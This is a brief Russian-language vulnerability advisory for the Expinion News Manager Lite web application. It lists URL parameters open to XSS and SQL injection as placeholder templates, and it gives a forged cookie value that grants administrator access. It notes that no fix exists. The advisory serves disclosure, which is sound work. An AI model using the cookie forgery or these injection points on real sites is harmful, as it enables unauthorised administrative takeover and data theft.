Удаленный административный досуп и другие уязвимости в Expinion News Manager Lite

Описание: Несколько уязвимостей обнаружено в Expinion News Manager Lite. Удаленный пользователь может внедриться в административную учетную запись, внедрить SQL команды и выполнить XSS нападение: 1. XSS

 http://[host]/comment_add.asp?ID=3&email=[XSS]
http://[host]/search.asp?search=[XSS]
http://[host]/cat egory_news_headline.asp?ID=2&n=[XSS]

http://[host]/more.asp?ID='[SQL query]
http://[host]/category_news.asp?ID='[SQL]
http://[host]/news_sort.asp?filter='[SQL]

Cookie: NEWS%5FLOGIN=ADMIN=1&ID=1

URL производителя:http://www.expinion.net/software/app_newsmanager.asp

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.